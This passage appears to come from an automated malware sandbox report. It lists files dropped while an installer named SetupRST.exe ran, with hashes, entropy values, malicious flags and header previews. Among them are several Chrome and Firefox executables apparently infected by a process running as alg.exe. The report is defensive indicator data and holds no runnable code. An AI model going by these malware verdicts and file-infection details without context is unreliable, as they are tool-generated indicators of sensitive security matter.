SHA-512:	558DCFE16C3F007C7FEF91A9600DDFCAE7B568F2F157339C76466D13EB62E403CE70F26B38D5927A23C26C5CD302AB734133BCDE8ADF98747C0AFDF2D804D5F3
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."............................@.......................................... ............................................\...$................p..t...............................................(...P...@...........x...x............................text............................... ..`.rdata..............................@..@.data................z..............@....pdata..t....p.......x..............@..@.00cfg..0...........................@..@.gxfg...@-... ......................@..@.retplne.....P.......D...................tls.........`.......F..............@...CPADinfo8....p.......H..............@..._RDATA..\............J..............@..@malloc_h.............L.............. ..`.rsrc................N..............@..@.reloc...............X..............@...................................................................................................

C:\Program Files\Google\Chrome\Application\chrome_proxy.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1779712
Entropy (8bit):	7.153141577508103
Encrypted:	false
SSDEEP:	49152:Nv7e0j31mD+/wDGb1LNiXicJFFRGNzj3:BDj1mk17wRGpj3
MD5:	6ECAD61632A4EC7780BBAEF911FCC8E0
SHA1:	6480ECE9E8AE9DE62DDB8C783A4AA763499A1377
SHA-256:	E223C9B4DF494ECD85BD7F9CD3FD347ABCD999E7411883692C788C843B8107F1
SHA-512:	95B33982154578CBBD6FFC7AB1B25BAD236632A0304736414107239561BE239B0E29A21D193C9BF731CDED7FB03DC0E4282FEA8E651A841321FDF509AF64BB9D
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."..........B.................@....................................-..... .........................................X...U...............x....p.................................................(...`2..@...............X............................text............................... ..`.rdata..,w... ...x..................@..@.data...............................@....pdata......p.......x..............@..@.00cfg..0...........................@..@.gxfg....).........................@..@.retplne.....@.......&...................tls.........P.......(..............@..._RDATA..\....`.....................@..@malloc_h.....p.......,.............. ..`.rsrc...x...........................@..@.reloc...............8..............@...........................................................................................................................................

C:\Program Files\Mozilla Firefox\crashreporter.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1533952
Entropy (8bit):	4.936724516810023
Encrypted:	false
SSDEEP:	24576:u6hSB/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:urLNiXicJFFRGNzj3
MD5:	46EA75D479692277B8AEE42CF3B23533
SHA1:	7AAEF16B4D6520767FF7BEEB9D773789B1317C9F
SHA-256:	8C13E1D90225B348C79798F80B7F83F6CEA1F31CF918FF64EED90F728FA9461B
SHA-512:	2FEC2D5495FCB721257C60F4D8E420B833531BF892D95C9A4B4B4AEAA4BA1E347061BF5E7F710507DA3847AE1569656CDD00B7344F20E3DC0BB568D3ECD54190
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."............................@.............................."......r.... ..................................................................P......................T...........................(...p...8...........H................................text............................... ..`.rdata...h.......j..................@..@.data........@......................@....pdata.......P.......0..............@..@.00cfg..(....`.......@..............@..@.tls.........p.......B..............@....voltbl..............D...................rsrc................F..............@..@.reloc...`... ......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\default-browser-agent.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1286656
Entropy (8bit):	7.216758447113669
Encrypted:	false
SSDEEP:	24576:2sFfc1VyFn5UQn652bO4Hy/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:2sFcIn5rJMLNiXicJFFRGNzj3
MD5:	C9426167A25D9728BE1032B2647C9CC5
SHA1:	6AEF2AFC755F2A75F2A16B666B306C0D21563921
SHA-256:	DD0AAE597D5069E1ED34E625E808EA4B9907345C064ED0FAB0BACC584528E19F
SHA-512:	D5816993FF7E102E5A2D2BA7B99A2619CF3E67925E8A4C29F069CBDD398549D94629380056D7F958B85AB4300C6FFA6599E81DF3CE7196E0128E159EF57B36AC
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......6..........pX.........@....................................S..... ..........................................J.......K..........`........%..................DA..........................(...`...8............V...............................text...V5.......6.................. ..`.rdata...O...P...P...:..............@..@.data...............................@....pdata...%.......&..................@..@.00cfg..(...........................@..@.tls................................@....voltbl..................................rsrc...`...........................@..@.reloc....... ......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\firefox.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1246208
Entropy (8bit):	7.488079445472725
Encrypted:	false
SSDEEP:	24576:Ot9o6p4xQbiKI69wpemIwpel9N/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Ot9faQbtl2peapelvLNiXicJFFRGNzj3
MD5:	A453369D1F1EC632027FB231571D6812
SHA1:	0E3456A2983F930CF61E38B2DC67A7B0847936C8
SHA-256:	FED7AF436A3A211FE2669A163DCD26A320422D144CFC845FB451A73643B43FAC
SHA-512:	172F6CEC8782D1BE5BE64EF7EE145A3A083F34667AADC4F4778A4EC00AC01FD0D87F74E460EE8D80D840C9A8A3944CFFC80ACC2798A5C008AFFA123EB27D3EDA
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......$.....................@.....................................:.... .................................................g...h............P..t%..................4........................k..(....@..8...........P...........@....................text....".......$.................. ..`.rdata.......@.......(..............@..@.data...p+... ......................@....pdata..t%...P...&..................@..@.00cfg..(............2..............@..@.freestd.............4..............@..@.retplne$............6...................tls.................8..............@....voltbl..............:...................rsrc................<..............@..@.reloc...............$..............@...................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\maintenanceservice.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1512448
Entropy (8bit):	4.9015845578052355
Encrypted:	false
SSDEEP:	24576:GQVTZu0Jq/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:NVTZufLNiXicJFFRGNzj3
MD5:	84258F0FFDF514275D79B6A0B736D9C9
SHA1:	B02B39013FBD3C244473CDF2476A5090D2FC7AC4
SHA-256:	B0BB1E787BE2EF385CE82623F00477A625F90D054DDD5F0DB9B8A723F294A816
SHA-512:	8D867FC85D913DDEE7B57653B28CA788B4E3A92DA5E292FE20201497CBDE4317E5381326EEFDBDAE24E38CD8F8CE9951392AD7C27BF18AB4C424BB3DA780A850
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................`".....W..... .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...`...........t..............@...........................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\minidump-analyzer.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1344000
Entropy (8bit):	6.801589618102846
Encrypted:	false
SSDEEP:	24576:9C1vpgXcZHz8/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:9C1vpIcN8LNiXicJFFRGNzj3
MD5:	426A2BEEF5E2AAFF6E569973258E3E33
SHA1:	5ABC4262EA25C757E4A225FA1F9217023344D049
SHA-256:	2C07E5F05EDFA5A6FC28B950FE8C8153D45F3067538D34F1B81463AF1CB9A45D
SHA-512:	5E9B038EAB7E8938EA6C0CAF192A23443D28DFB366B4E0C712F041A2978FBF8229724362C8F3D45ED1E12B02177F11DE70A3F3A88379D91B487E9E270342DDFE
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......T...H......0..........@.......................................... .........................................................................................T........................r..(....p..8...............`............................text...fS.......T.................. ..`.rdata.......p.......X..............@..@.data....2...@...,..."..............@....pdata...............N..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl..............h...................rsrc................j..............@..@.reloc... ...........r..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\pingsender.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1355776
Entropy (8bit):	4.65549865069095
Encrypted:	false
SSDEEP:	24576:JcI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xLNiXicJFFRGNzj3
MD5:	721316569E2926181594D61A8E95DA2D
SHA1:	E4F67E1532E729EBBA18F651B73BC76281CBAA4C
SHA-256:	3189C47974D7DA9112B6FC54276E8ADE7BD2D8E11807050F9DD0B9EBEAA8F277
SHA-512:	982FCEB210D1896635FEF4A446C619BE4966528633A2D9F2B34532C2EB7F8598EE9FD08714EFAC4E6C6D37EC4FB1CE7FB3C85699D389CC2E67300CD1B3FF9592
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."..........b......`..........@......................................... ..........................................................`....... .. ...................t...........................(.......8............................................text............................... ..`.rdata..dM.......N..................@..@.data...............................@....pdata.. .... ......................@..@.00cfg..(....0......................@..@.tls.........@......................@....voltbl......P...........................rsrc........`......................@..@.reloc...`...p......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\plugin-container.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1564160
Entropy (8bit):	5.005835791224738
Encrypted:	false
SSDEEP:	24576:hWLntIfGp6/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:4RIekLNiXicJFFRGNzj3
MD5:	F9759B25ADEF6D665AE60D095A2F53B1
SHA1:	5F58282A79F2B8A4BA0C9CECA30A739BD791826F
SHA-256:	262114B9745362EF66A16DD9F9D7238F6C701F5FED96586C35224949B7DEC51B
SHA-512:	39FB4A69DA637EE7A50CC33DB5DF2ACFAD92807240611D6976FC173A11D38706CF28CB8EA980C4E87A80DB88CFF61179FF0EF9D76589E6390CD746193968571E
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......~.....................@..............................#......~.... .....................................................@.......P....P.................................................(... ...8...................8........................text...w}.......~.................. ..`.rdata..,...........................@..@.data...0%... ......................@....pdata.......P......................@..@.00cfg..(....p.......*..............@..@.tls.................,..............@....voltbl..................................rsrc...P............0..............@..@.reloc...`...........>..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\private_browsing.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1340928
Entropy (8bit):	4.6160540061371504
Encrypted:	false
SSDEEP:	12288:hIhCiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:cE/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	F0F51753484391E13AE9F7E23D8D53E8
SHA1:	61802C395C3C0897C5537DD75465F1F9A4892020
SHA-256:	923395107A2000E74A0E0D72A5F849328E73BCF73E2A10375CD19216C8917E2E
SHA-512:	23306698B56894EC63C32F3C1CA087BDFA985CCDBDF2560CB85AAB7581092634E2BC67D66986E71BD03DF77089B08263464C7E4E52EDA754268246C8A3140763
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e..........".................p..........@.......................................... ..................................................6...............`..4....................5..............................`0..8............:..H............................text............................... ..`.rdata.......0......."..............@..@.data........P.......8..............@....pdata..4....`.......:..............@..@.00cfg..(....p.......>..............@..@.voltbl..............@...................rsrc................B..............@..@.reloc...`...0......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\updater.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1687552
Entropy (8bit):	5.01863256136313
Encrypted:	false
SSDEEP:	24576:y8oRcwt2ioQ3J+Rd/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:y8oRBoFdLNiXicJFFRGNzj3
MD5:	5B8F1E928A159BE038C0528B1E80EE3F
SHA1:	6A1B0B17E909F761501794FA3756CC638CF28DFE
SHA-256:	EE1792077A22701F0861783B61A64DA3F0A87A49EC7170EE6D678A9E9141F2F7
SHA-512:	C8967C027A0CC97C88A836101AA7154E055C062938FE47E8D89692E89AC8A184F54E6798189D6126368854CC36133AA02B376892AAC3D17425140CCFA36848ED
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......N...........B.........@..............................%........... ..................................................;.......0..X~....... ...................6..........................(....`..8...........0B..H...H9..`....................text....L.......N.................. ..`.rdata.......`.......R..............@..@.data....>...........h..............@....pdata... ......."...v..............@..@.00cfg..(...........................@..@.tls................................@....voltbl.<..............................._RDATA....... ......................@..@.rsrc...X~...0......................@..@.reloc...`........... ..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SetupRST.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2594
Entropy (8bit):	5.360460298253464
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oa1qHGIs0HKPHlJH/lEHuFQtHTHhAHKKkUHKSeHK+HKy+0Xt2t/:iqbYqGSI6oawmj0qP/fmOmtzHeqKkUqK
MD5:	4293AE9F4408583E73358227B1C7C96B
SHA1:	9B51CF135AD003161F7053F96FDBCAE0F584B932
SHA-256:	12D3E0D01ED9C791350CBD5464CF805AB1A35595650B6077F930E16C20F0BB37
SHA-512:	D94F5554273BCB27452A215509C7F7B007AB300BF181229F02C691C3C5CBB1D1AA1A58227F4DBAF2CAB3D6102DD5750F054C66B8646D1B0D502C313F8E1A6820
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\WindowsBas

C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

Download File

Process:	C:\Users\user\Desktop\SetupRST.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	7996632
Entropy (8bit):	7.106886663023444
Encrypted:	false
SSDEEP:	98304:Phzy4CKUX3cZWf6PKy0aSBJcBQ+S7XvYH:Jzy4y3eW+0LWB4XwH
MD5:	7203FD5E2A67D68FAC082C6E65BE26D6
SHA1:	88B87DD8948AD980F80A169EFEFD359BDC0317B4
SHA-256:	C8F23BC2D6B950529042A4CA1016239FDEDABC47131907523600F9C71B78ADD7
SHA-512:	C5B38F94B5240E790F7520C05A4CD160EB13EF969958542546FE1C83DCC267226A08D9F0A6378503796A294685228447FF0C5891847A61C12E41215D180A318B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....D..........."...0..ry..h........... .....@..... ....................... z.....:.z...`...@......@............... ................................y..g............y..(............y.8............................................................ ..H............text...7py.. ...ry................. ..`.rsrc....g....y..h...ty.............@..@........................................H........y...!....../.......`.w...y.....................................>. 4......(....2......o ...:........o!....0..,........o"...r...p $...........%...%....o#...t....&...o$.....(%......0...........u!.....,...(....(&..."..(.......(....~....%-.&~......1...s'...%.....(...+(...+..~....%-.&~......2...s...%.....(...+...0..L.......(&.....(...+..(,...,5.o-........(.......(/.....(,...,....o0...u....%-.&...6..o1...(.......0..I.......s4......~....%-.&~......3...s*...%.....(...+

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\HsaComponent.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	8200
Entropy (8bit):	7.9636978199568365
Encrypted:	false
SSDEEP:	192:GXJDymJEhCgWEzbIDMBMusXFofnSjiEKv6:OJEhVbIDLXF0nSja6
MD5:	E4862DA2F2E72DD4CA177BEC9C948B42
SHA1:	8870B9FCAED835DACD9E42016C06D1B00C481395
SHA-256:	A1C87FBCF7192D32B21F7F80555D5D74C6B64CE1F7AA18544D02D0EEE4A5973A
SHA-512:	1875C473B0D1077D199C710DCDF34B0CD74EAB2168B3AF9C53C5EECF1B8D92BDA4EB1099D64197616F0D22A933844E04C4EE79EA0511B1FE64437EE5AA761AF8
Malicious:	false
Preview:	PK.........U.T..`B..........iaStorHsaComponent.cat.Z.8.]...g.6.%[Y.K..`l.".V.h0..0.-..R(..[..h#Z.QiQBJE..di...w.....}.....z...:........>.s....,;..5...0...P..0T'Q0..Gx.6...Ih..f......K.....],.d`...b.................l..&..N......].........-..b..g...q..!....A...C.H....YB....u!<(.A?k.2...%....:+..A.0G.A8...h.X.....i...r.............C.ssj..A..w....":.......v.Y.p....Q.l.F..q-w....U%".lx..h=.....4'....C...5......P ..JD(..#.(.GB$.h.)2....._4#..H.A[.l. -H..........Y..>(......f.zuA.%9....7.sR...D...1..6..........1.V...X.b8`(...P../.UY.....R.........\...4;....X....F.s~.F.....b!. .2.O...l ..b_.....X.`-......Z`oz......m..K.:..P..).....7?...5^....'...@i..b...@.Q......9...I....A@N.`..0.6(..@..zt@..H.`.z..u~..U.~Zu.."-...5.sB....7Q.X.J.....?Q.DVH..a....`.u...+!..4....u...}Y.....p.2^?wS. ...J.W=,....?.....U.~Z......u,.B....1P<.......:U=0...j....m....V..,.c2.....V.V.L4.F...@s......m...._....`....D..q...v....]q. ..).]G..!G..(.8..f..C....A...I#.X-X.%...%..D...P

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\HsaComponent\iaStorHsaComponent.cat

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	data
Category:	dropped
Size (bytes):	10766
Entropy (8bit):	7.296366402066798
Encrypted:	false
SSDEEP:	192:G9L/ykKOL7yKnUi8rFWQFPWEolks9gICQX01k9z3AbH8Xkf:G84CFR9WEol/P/R9zO8a
MD5:	D6820E680555E220C040D7A48987B525
SHA1:	99CF64231B48FB185A12D5B84C81B765559F252E
SHA-256:	C96BE5A0CEC638717D1F382E2DEFB092D50DED9BEBFD7C2DD4982FC12A559611
SHA-512:	DD5A713E7C6C8EF65D0F047C84C3BC40C982929061600B91B83B34A5C83140B6FA2DC730730BEF2B4AD1FB57C2E080E4DA1744A00AAA103EBB4B51F1B12208F2
Malicious:	false
Preview:	0.....H........).0.)....1.0...`.H.e......0.....+.....7......0...0...+.....7.....6;....I..~.[./F..220712154354Z0...+.....7.....0...0....R5.4.6.1.F.6.4.B.0.B.B.C.8.D.9.A.D.7.2.9.2.6.6.1.0.0.0.E.1.C.E.B.F.E.F.F.1.6.B.C...1..304..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0E..+.....7...17050...+.....7.......0!0...+........Ta.K.....)&a........0P..+.....7...1B0@...F.i.l.e........i.a.s.t.o.r.h.s.a.c.o.m.p.o.n.e.n.t...i.n.f...0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}........0...0J..+.....7....<0:.&.Q.u.a.l.i.f.i.c.a.t.i.o.n. .L.e.v.e.l........1.0.0.0...0$..+.....7.....0....D.T.C........1...0....+.....7......0.....S.u.b.m.i.s.s.i.o.n. .I.D.......^2.9.9.8.9.5.0.0._.1.4.0.3.2.8.8.0.6.3.1.2.8.1.1.5.5._.1.1.5.2.9.2.1.5.0.5.6.9.5.0.4.0.1.2.5...0t..+.....7....f0d...B.u.n.d.l.e.I.D.......J6.d.0.2.6.7.6.5.-.e.6.f.a.-.4.c.9.4.-.9.7.d.6.-.f.5.a.8.a.4.b.8.7.4.2.7...08..+.....7....0(...U.n.i.v.e.r.s.a.l........F.a.l.s.e...0:..+.....7....,0.

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\HsaComponent\iaStorHsaComponent.inf

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	3552
Entropy (8bit):	3.506877811043898
Encrypted:	false
SSDEEP:	48:9r0/uCXoYdc9eBwGtuze8rIM9iLWOYC7hbgTOAg+S9+wrCiHNO5bCgwFczLE:GuNkVRnTA+5c5bCgwWzI
MD5:	407FAF4518F3B2FF598C33DC9C7ACDF7
SHA1:	5461F64B0BBC8D9AD7292661000E1CEBFEFF16BC
SHA-256:	21E4991377C7F066B53DC7C3B04E6A99170B4400D75A451E03BCB151B8B1F651
SHA-512:	8D396D01BF97CE93D2C2311C5E6F3874A408C72ADD70915085EF5E09B9151ACE1AC3F0B67E21FED1B9526F689D824C409F86E7428512E285DAD4E0393FB629D3
Malicious:	false
Preview:	..;. .C.o.p.y.r.i.g.h.t. .(.C.).,. .I.n.t.e.l. .C.o.r.p.o.r.a.t.i.o.n... .A.l.l. .r.i.g.h.t.s. .r.e.s.e.r.v.e.d... ...;. ............................................................................................... ...;. ... . . . .F.i.l.e.n.a.m.e.:. . .i.a.S.t.o.r.H.s.a.C.o.m.p.o.n.e.n.t...i.n.f. ...;. ... . . . .R.e.v.i.s.i.o.n.:. . .0.6./.0.3./.2.0.2.2.,.1.9...5...0...1.0.3.7...;. ... . . . .A.b.s.t.r.a.c.t.:. . .I.n.t.e.l. .I.n.t.e.l.(.R.). .R.a.p.i.d. .S.t.o.r.a.g.e. .T.e.c.h.n.o.l.o.g.y. .H.a.r.d.w.a.r.e. .S.u.p.p.o.r.t. .A.p.p. .C.o.m.p.o.n.e.n.t.....;. ... . . . . . . . . . . . . . . .I.t. .i.n.s.t.a.l.l.s. .t.h.r.o.u.g.h. .A.d.d.S.o.f.t.w.a.r.e. .I.n.t.e.l. .O.p.t.a.n.e. .M.a.n.a.g.e.m.e.n.t. .a.p.p. .f.r.o.m. .M.S.F.T. .S.t.o.r.e.....;. .....................................................................*.

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\HsaExtension.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	8927
Entropy (8bit):	7.96638530702772
Encrypted:	false
SSDEEP:	192:+tFywlzj4sOnENKFbvEJHJnG/CaO2/kcczVhVNpsRN72xRMZlOk3Vy:cFywl4uNWIJG/9khhVNm2x+ZRy
MD5:	9697271BB9BA11ACC8F631A2FB0B0EAC
SHA1:	0283A8D3BCDC357E298F28CE727B4ED91D0B2EF8
SHA-256:	ED12E9917D4E26AEBF2414B76CEA7DD38AA39F592963797770F6DFE495C00F16
SHA-512:	2181D774CA38384A611D3967E70434EBE75CBA22F5E006796AD1C4157FC96EFC8DC31469FFEADA48879011041302F77F4FE5DE988CD7674A2F6C98EA6EE3C549
Malicious:	false
Preview:	PK.........U.TG...H..........iaStorHsa_Ext.cat.Z.8........}.ES....X.Y..l.D.......I.,y.........R).,%%.RZP"E.wfR.}...........w}=.3.9.>.9.}.s~.}. ,....m.?..<.B.z..ROB.0^.....l.......!,.+n>.n.....p!.K.4...n.\...cDV&&=..&.1.....ga.......O....!x.Dh^w.{Tx.x..g}.."B..... ..[./...uCP..u]..z...[.. s@..4k... ...Y....c>..WF... G..01.CCaD`.... c..@... ..;......}Dd^.L1.B. \|.\.Bh.,.......9.^.../.&=Z.:........</....@..)....I.....%.......E.t..........wE...X...x....].X...@...+.....P.@...%x.8.#.~....P(...&#,4.Y5_f.r.X^.Z.E..B.@....e..R.x8......9..x.D.3.4.."!...r.,..b..^..1w L..,X.H........m:;.j........{Bo....l....7.SB..`...P..N../qn.=N?.....?I.........c/.<IV.....U..d..!ge.@I..Bl...&"...su9.e.s^.@....4.:./...9).#.8;..l8.B..i...&../..M........-............>%s=...~...9:xC.`q4._Q.v.....J.P..N?.j......:.e!..5.....~..7./.R..f.<o...x..nD.??.....#.................X...-D.`.J\.4...:..o3I...z..;..0?.If........-.rs..#....8v...H..`P..".]A#.8.3./...G..[..k(.4*....YRi.T..

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\HsaExtension\iaStorHsa_Ext.cat

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	data
Category:	dropped
Size (bytes):	10907
Entropy (8bit):	7.280929862948796
Encrypted:	false
SSDEEP:	192:Qqo+nyZJOL7yKnUi8rFWQFX1WGaN4NhrJgX01k9z3AznfSS3:yZ4CFRJETN4tgR9zYT
MD5:	4C035CF25C5C42280CB9AC1FA9C3898D
SHA1:	DF3271E84569563F694F628C7385971CE65BA349
SHA-256:	D29D7623C8AFD161A5C6154790A29DEA5A750070B8E556E06E1495555582E62C
SHA-512:	63A1E61372A759BD86A550AFA4C6BC3DEEDD146E19C71504024368C904B078D83C0C4D94011634CAB6304A1DAD9E8F44EE9F6497F2042CDC2DEB2783D11412CF
Malicious:	false
Preview:	0.....H.........0.....1.0...`.H.e......0..D..+.....7.....50..10...+.....7.....G.....O.7...nT..220712154401Z0...+.....7.....0...0....R5.C.6.E.B.6.5.D.2.C.E.D.6.4.5.8.2.5.E.3.1.B.F.F.C.6.3.D.D.A.2.D.E.E.2.F.3.1.6.C...1..)04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0E..+.....7...17050...+.....7.......0!0...+........\n.],.dX%....=.-./1l0F..+.....7...1806...F.i.l.e.......$i.a.s.t.o.r.h.s.a._.e.x.t...i.n.f...0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}.......e0..a0J..+.....7....<0:.&.Q.u.a.l.i.f.i.c.a.t.i.o.n. .L.e.v.e.l........1.0.0.0...0$..+.....7.....0....D.T.C........1...0....+.....7......0.....S.u.b.m.i.s.s.i.o.n. .I.D.......^2.9.9.8.9.5.0.0._.1.4.5.0.8.5.9.6.4.7.2.9.6.0.1.7.0._.1.1.5.2.9.2.1.5.0.5.6.9.5.0.4.0.1.2.4...0t..+.....7....f0d...B.u.n.d.l.e.I.D.......Jc.f.1.a.1.d.8.9.-.8.3.5.4.-.4.5.1.7.-.9.e.6.4.-.6.3.3.1.4.9.6.1.6.1.f.e...08..+.....7....0(...U.n.i.v.e.r.s.a.l........F.a.l.s.e...0:..+.....7....,0*...D.e.c.l.

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\HsaExtension\iaStorHsa_Ext.inf

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.1936751661493945
Encrypted:	false
SSDEEP:	96:GuE0owqVCxeTljfqMnu+6cuIBQQCKdH9hNPMhLILFPdEQzL:GtphduVcZPCKbPMh8RdD
MD5:	469C2B3F9DAAB75276852D0DE702794C
SHA1:	5C6EB65D2CED645825E31BFFC63DDA2DEE2F316C
SHA-256:	52A56CC6BABB37F0CC1F9F63DB7FC576488E81FBA8421CE7A849AA91DE03B91F
SHA-512:	8EC48CF7F5A692D4D94A5730D816E1E76C65A1DEB18D6D20578F3A0F05919BD18E094EE367DBD17E7219964F8DC92AB05045ABDB27676C0246F0B9EED06BEBE9
Malicious:	false
